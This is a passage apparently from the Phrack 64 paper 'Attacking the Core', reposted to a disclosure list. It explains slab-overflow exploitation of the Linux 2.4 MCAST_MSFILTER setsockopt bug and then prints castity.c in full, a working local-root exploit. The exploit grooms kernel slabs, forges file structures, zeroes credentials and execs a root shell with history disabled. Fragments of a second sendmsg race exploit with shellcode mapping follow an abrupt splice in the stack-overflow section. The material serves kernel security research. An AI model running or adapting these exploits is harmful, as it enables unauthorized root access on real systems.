We solved that problem thanks to the fact that, once an object is free'd,

its 'memory contents' are not zero'ed (or cleaned in any way).

Since the `copy_from_user` at [3] happens `_before_` the check at [4], we were

able to create a sequence of 1024-sized objects by repeatedly issuing a

failing (at [4]) 'setsockopt', thus obtaining a large-enough one.

Hoping to make it clearer let's sum up the steps :

- fill the 1024 slabs so that at next allocation a fresh one is returned
- alloc the first object of the new 1024-slab.
- use as many 'failing' setsockopt as needed to copy values inside objects 2 and 3 [and 4, if needed, not the usual case thou]
- free the first object
- use a smaller (but still 1024-slab allocation driving) value for optlen that would pass the check at [4]

At that point the gsf pointer points to the first object inside our freshly created slab. Objects 2 and 3 haven't been re-used yet, so still contains our data. Since the objects inside the slab are adjacent we have a de-facto larger (and large enough) gsf struct to reach the 'shm_file' pointer.

Last note, to reliably fill the slabs we check /proc/slabinfo. The exploit, called castity.c, was written when the advisory went out, and is only for 2.4.* kernels (the sys_epoll vulnerability [12] was more than enough for 2.6.* ones ;))

Exploit follows, just without the initial header, since the approach has been already extensively explained above.

```
< stuff/expl/linux/castity.c >
```

```
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>

#define __u32 unsigned int
#define MCAST_MSFILTER 48
#define SOL_IP 0
#define SIZE 4096
#define R_FILE "/etc/passwd" // Set it to whatever file
you
can read. It's just for 1024 filling.

struct in_addr {
unsigned int s_addr;
};

#define __SOCK_SIZE__ 16

struct sockaddr_in {
unsigned short sin_family; /* Address family
```

```
*/
unsigned short int sin_port; /* Port number
*/
struct in_addr sin_addr; /* Internet address
*/

/* Pad to size of `struct sockaddr'. */
unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) -
sizeof(unsigned short int) - sizeof(struct
in_addr)];
};

struct group_filter
{
__u32 gf_interface; /* interface index
*/
struct sockaddr_storage gf_group; /* multicast
address */
__u32 gf_fmode; /* filter mode */
__u32 gf_numsrc; /* number of
sources */
struct sockaddr_storage gf_slist[1]; /* interface index
*/
};

struct damn_inode {
void *a, *b;
void *c, *d;
void *e, *f;
void *i, *l;
unsigned long size[40]; // Yes, somewhere here :-)
} le;

struct dentry_suck {
unsigned int count, flags;
void *inode;
void *dd;
} fucking = { 0xbad, 0xbad, &le, NULL };

struct fops_rox {
void *a, *b, *c, *d, *e, *f, *g;
void *mmap;
void *h, *i, *l, *m, *n, *o, *p, *q, *r;
void *get_unmapped_area;
} chien;

struct file_fuck {
void *prev, *next;
```

```
void *dentry;  
void *mnt;  
void *fop;  
} gagne = { NULL, NULL, &fucking, NULL, &chien };
```

```
static char stack[16384];
```

```
int gotsig = 0,  
fillup_1024 = 0,  
fillup_64 = 0,  
uid, gid;
```

```
int *pid, *shmid;
```

```
static void sigusr(int b)  
{  
gotsig = 1;  
}
```

```
void fatal (char *str)  
{  
fprintf(stderr, "[–] %s\n", str);  
exit(EXIT_FAILURE);  
}
```

```
#define BUFSIZE 256
```

```
int calculate_slaboff(char *name)  
{  
FILE *fp;  
char slab[BUFSIZE], line[BUFSIZE];  
int ret;  
/* UP case */  
int active_obj, total;  
  
bzero(slab, BUFSIZE);  
bzero(line, BUFSIZE);  
  
fp = fopen("/proc/slabinfo", "r");  
if ( fp == NULL )  
fatal("error opening /proc for slabinfo");  
  
fgets(slab, sizeof(slab) – 1, fp);  
do {  
ret = 0;  
if (!fgets(line, sizeof(line) – 1, fp))  
break;
```

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

```
ret = sscanf(line, "%s %u %u", slab, &active_obj,  
&total);  
} while (strcmp(slab, name));
```

```
close(fileno(fp));  
fclose(fp);
```

```
return ret == 3 ? total - active_obj : -1;
```

```
}
```

```
int populate_1024_slab()
```

```
{  
int fd[252];  
int i;
```

```
signal(SIGUSR1, sigusr);
```

```
for ( i = 0; i < 252 ; i++)  
fd[i] = open(R_FILE, O_RDONLY);
```

```
while (!gotsig)  
pause();  
gotsig = 0;
```

```
for ( i = 0; i < 252; i++)  
close(fd[i]);
```

```
}
```

```
int kernel_code()
```

```
{  
int i, c;  
int *v;
```

```
__asm__("movl %%esp, %0" : : "m" (c));
```

```
c &= 0xffffe000;  
v = (void *) c;
```

```
for (i = 0; i < 4096 / sizeof(*v) - 1; i++) {  
if (v[i] == uid && v[i+1] == uid) {  
i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;  
}  
if (v[i] == gid) {  
v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++]  
= 0;  
return -1;  
}  
}
```

```
}

return -1;
}

void prepare_evil_file ()
{
int i = 0;

chien mmap = &kernel_code ; // just to pass do_mmap_pgoff
check
chien.get_unmapped_area = &kernel_code;

/*
 * First time i run the exploit i was using a precise
offset for
 * size, and i calculated it _wrong_. Since then my
lazyness took
 * over and i use that ""very clean"" *g* approach.
 * Why i'm telling you ? It's 3 a.m., i don't find any
better than
 * writing blubbish comments
*/

for ( i = 0; i < 40; i++)
le.size[i] = SIZE;

}

#define SEQ_MULTIPLIER 32768

void prepare_evil_gf ( struct group_filter *gf, int id )
{
int filling_space = 64 - 4 *
sizeof(int);
int i = 0;
struct sockaddr_in *sin;

filling_space /= 4;

for ( i = 0; i < filling_space; i++ )
{
sin = (struct sockaddr_in *)&gf->gf_slist[i];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = 0x41414141;
}

/* Emulation of struct kern_ipc_perm */
```

```
sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = IPC_PRIVATE;

sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = uid;

sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = gid;

sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = uid;

sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = gid;

sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = -1;

sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = id/SEQ_MULTIPLIER;

/* evil struct file address */

sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = (unsigned long)&gagne;

/* that will stop mcast loop */

sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = 0xbad;
sin->sin_addr.s_addr = 0xdeadbeef;

return;

}

void cleanup ()
{
int i = 0;
struct shmids s;

for ( i = 0; i < fillup_1024; i++ )
```

```

{
kill(pid[i], SIGUSR1);
waitpid(pid[i], NULL, __WCLONE);
}

for ( i = 0; i < fillup_64 - 2; i++ )
shmctl(shmid[i], IPC_RMID, &s);

}

#define EVIL_GAP 4
#define SLAB_1024 "size=1024"
#define SLAB_64 "size=64"
#define OVF 21
#define CHUNKS 1024
#define LOOP_VAL 0x4000000f
#define CHIEN_VAL 0x4000000b

main()
{
int sockfd, ret, i;
unsigned int true_alloc_size, last_alloc_chunk,
loops;
char *buffer;
struct group_filter *gf;
struct shmids s;

char *argv[] = { "le-chien", NULL };
char *envp[] = { "TERM=linux", "PS1=le-chien\\$",
"BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin",
"HISTFILE=/dev/null", NULL };

true_alloc_size = sizeof(struct group_filter) -
sizeof(struct
sockaddr_storage) + sizeof(struct sockaddr_storage) * OVF;
sockfd = socket(AF_INET, SOCK_STREAM, 0);

uid = getuid();
gid = getgid();

gf = malloc (true_alloc_size);
if ( gf == NULL )
fatal("Malloc failure\n");

gf->gf_interface = 0;
gf->gf_group.ss_family = AF_INET;

fillup_64 = calculate_slaboff(SLAB_64);

```

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

```
if ( fillup_64 == -1 )
fatal("Error calculating slab fillup\n");

printf("[+] Slab %s fillup is %d\n", SLAB_64, fillup_64);

/* Yes, two would be enough, but we have that "sexy"
#define, why
don't use it ? :-) */

fillup_64 += EVIL_GAP;

shmid = malloc(fillup_64 * sizeof(int));
if ( shmid == NULL )
fatal("Malloc failure\n");

/* Filling up the size-64 and obtaining a new page with
EVIL_GAP
entries */

for ( i = 0; i < fillup_64; i++ )
shmid[i] = shmget(IPC_PRIVATE, 4096,
IPC_CREAT|SHM_R);

prepare_evil_file();
prepare_evil_gf(gf, shmid[fillup_64 - 1]);

buffer = (char *)gf;

fillup_1024 = calculate_slaboff(SLAB_1024);
if ( fillup_1024 == -1 )
fatal("Error calculating slab fillup\n");

printf("[+] Slab %s fillup is %d\n", SLAB_1024,
fillup_1024);

fillup_1024 += EVIL_GAP;

pid = malloc(fillup_1024 * sizeof(int));
if (pid == NULL )
fatal("Malloc failure\n");

for ( i = 0; i < fillup_1024; i++)
pid[i] = clone(populate_1024_slab, stack +
sizeof(stack) -
4, 0, NULL);

printf("[+] Attempting to trash size-1024 slab\n");

/* Here starts the loop trashing size-1024 slab */
```

```
last_alloc_chunk = true_alloc_size % CHUNKS;
loops = true_alloc_size / CHUNKS;

gf->gf_numsrc = LOOP_VAL;

printf("[+] Last size-1024 chunk is of size %d\n",
last_alloc_chunk);
printf("[+] Looping for %d chunks\n", loops);

kill(pid[--fillup_1024], SIGUSR1);
waitpid(pid[fillup_1024], NULL, __WCLONE);

if ( last_alloc_chunk > 512 )
ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER,
buffer +
loops * CHUNKS, last_alloc_chunk);
else

/*
* Should never happen. If it happens it probably means
that we've
* bigger datatypes (or slab-size), so probably
* there's something more to "fix me". The while loop below
is
* already okay for the eventual fixing ;)
*/

fatal("Last alloc chunk fix me\n");

while ( loops > 1 )
{
kill(pid[--fillup_1024], SIGUSR1);
waitpid(pid[fillup_1024], NULL, __WCLONE);

ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER,
buffer +
--loops * CHUNKS, CHUNKS);
}

/* Let's the real fun begin */

gf->gf_numsrc = CHIEN_VAL;

kill(pid[--fillup_1024], SIGUSR1);
waitpid(pid[fillup_1024], NULL, __WCLONE);

shmctl(shmid[fillup_64 - 2], IPC_RMID, &s);
setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer, CHUNKS);

cleanup();
```

```
ret = (unsigned long)shmat(shmid[fillup_64 - 1], NULL,  
SHM_RDONLY);
```

```
if ( ret == -1)  
{  
printf("Le Fucking Chien GAGNE!!!!!!\n");  
setresuid(0, 0, 0);  
setresgid(0, 0, 0);  
execve("/bin/sh", argv, envp);  
exit(0);  
}  
  
printf("Here we are, something sucked :/ (if not L1_cache  
too big,  
probably slab align, retry)\n" );  
  
}
```

</>

-----[2.3 – Stack overflow vulnerabilities

When a process is in 'kernel mode' it has a stack which is different from the stack it uses at userland. We'll call it 'kernel stack'. That kernel stack is usually limited in size to a couple of pages (on Linux, for example, it is 2 pages, 8kb, but an option at compile time exist to have it limited at one page) and is not a surprise that a common design practice in kernel code developing is to use locally to a function as little stack space as possible.

At a first glance, we can imagine two different scenarios that could go under the name of 'stack overflow vulnerabilities' :

- 'standard' stack overflow vulnerability : a write past a buffer on the stack overwrites the saved instruction pointer or the frame pointer (Solaris only, Linux is compiled with `-fomit-frame-pointer`) or some variable (usually a pointer) also located in the stack.

– 'stack size overflow' : a deeply nested callgraph goes further the alloc'ed stack space.

Stack based exploitation is more architectural and o.s. specific than the already presented slab based one.

That is due to the fact that once the stack is trashed we achieve execution flow hijack, but then we must find a way to somehow return to

userland. We can't cover here the details of x86 architecture, since those have been already very well explained by noir in his phrack60 paper [13].

We will instead focus on the UltraSPARC architecture and on its more common operating system, Solaris. The next subsection will describe the

relevant details of it and will present a technique which is suitable aswell for the exploiting of slab based overflow (or, more generally, whatever 'controlled flow redirection' vulnerability).

The AMD64 architecture won't be covered yet, since it will be our 'example architecture' for the next kind of vulnerabilities (race condition). The sendmsg [5] exploit proposed later on is, at the end, a stack based one.

Just before going on with the UltraSPARC section we'll just spend a couple of words describing the return-to-ring3 needs on an x86 architecture and the Linux use of the kernel stack (since it quite differs from the Solaris one).

Linux packs together the stack and the struct */

```
int make_kjump(void)
{
void *stack_map = mmap((void*)(0x11110000), 0x2000,
PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0);
if(stack_map == MAP_FAILED)
fatal_errno("mmap", 1);

void *shellcode_map = mmap(MMAP_NULL, 0x1000,
PROT_READ|PROT_WRITE|PROT_EXEC,
```

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

```
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0,
0);
if(shellcode_map == MAP_FAILED)
fatal_errno("mmap", 1);

memcpy(shellcode_map, kernel_stub, sizeof(kernel_stub)-1);

PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid());
PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111);
PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit);
}

int start_thread_priority(int (*f)(void *), void* arg)
{
char *stack = malloc(PAGE_SIZE*4);
int tid = clone(f, stack + PAGE_SIZE*4 -4,
CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);
if(tid < 0)
fatal_errno("clone", 1);

nice(19);
sleep(1);
return tid;
}

int race_func(void* noarg)
{
printf("[*] thread racer getpid()=%d\n", getpid());
while(1)
{
if(glob_race)
{
g_ancillary->cmmsg_len = 500;
return;
}
}
}

uint64_t tsc()
{
uint64_t ret;
asm volatile("rdtsc" : "=A"(ret));

return ret;
}

struct tsc_stamp
{
uint64_t before;
uint64_t after;
uint32_t access;
}
```

```

};

struct tsc_stamp stamp[128];

inline char *flat_file_mmap(int fs)
{
void *addr = mmap(MMAP_ADDR, PAGE_SIZE*PAGE_NUM,
PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_FIXED, fs, 0);
if(addr == MAP_FAILED)
fatal_errno("mmap", 1);
return (char*)addr;
}

void scan_addr(char *memory)
{
int i;
for(i=1; i<PAGE_NUM-1; i++)
{
stamp[i].access = (uint32_t)(memory + i*PAGE_SIZE);
uint32_t dummy = *((uint32_t *) (memory + i*PAGE_SIZE-4));
stamp[i].before = tsc();
dummy = *((uint32_t *) (memory + i*PAGE_SIZE));
stamp[i].after = tsc();
}
}

/* make code access first 32 pages to flush page-cluster */
/* access: 0x20000000 - 0x2000XXXX */

void start_flush_access(char *memory, uint32_t page_num)
{
int i;
for(i=0; i<page_num; i++)
{
uint32_t dummy = *((uint32_t *) (memory + i*PAGE_SIZE));
}
}

void print_single_result(struct tsc_stamp *entry)
{
printf("Accessing: %p, tsc-difference: %lld\n", entry->access,
entry->after - entry->before);
}

void print_result()
{
int i;

```

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

```
for(i=1; i<PAGE_NUM-1; i++)
{
printf("Accessing: %p, tsc-difference: %lld\n", stamp[i].access,
stamp[i].after - stamp[i].before);
}
}

void fill_ancillary(struct msghdr *msg, char *ancillary)
{
msg->msg_control = ((ancillary + 32*PAGE_SIZE) - sizeof(struct
cmsghdr));
msg->msg_controllen = sizeof(struct cmsghdr) * 2;

/* set global var thread race ancillary data chunk */
g_ancillary = msg->msg_control;

struct cmsghdr* tmp = (struct cmsghdr*)(msg->msg_control);
tmp->cmsg_len = sizeof(struct cmsghdr);
tmp->cmsg_level = 0;
tmp->cmsg_type = 0;
tmp++;

tmp->cmsg_len = sizeof(struct cmsghdr);
tmp->cmsg_level = 0;
tmp->cmsg_type = 0;
tmp++;

memset(tmp, 0x00, 172);
}

int main()
{
struct tsc_stamp single_stamp = {0};
struct msghdr msg = {0};

memset(&stamp, 0x00, sizeof(stamp));
int fd = open("/tmp/file", O_RDWR);
if(fd == -1)
fatal_errno("open", 1);

char *addr = flat_file_mmap(fd);

fill_ancillary(&msg, addr);

munmap(addr, PAGE_SIZE*PAGE_NUM);
close
```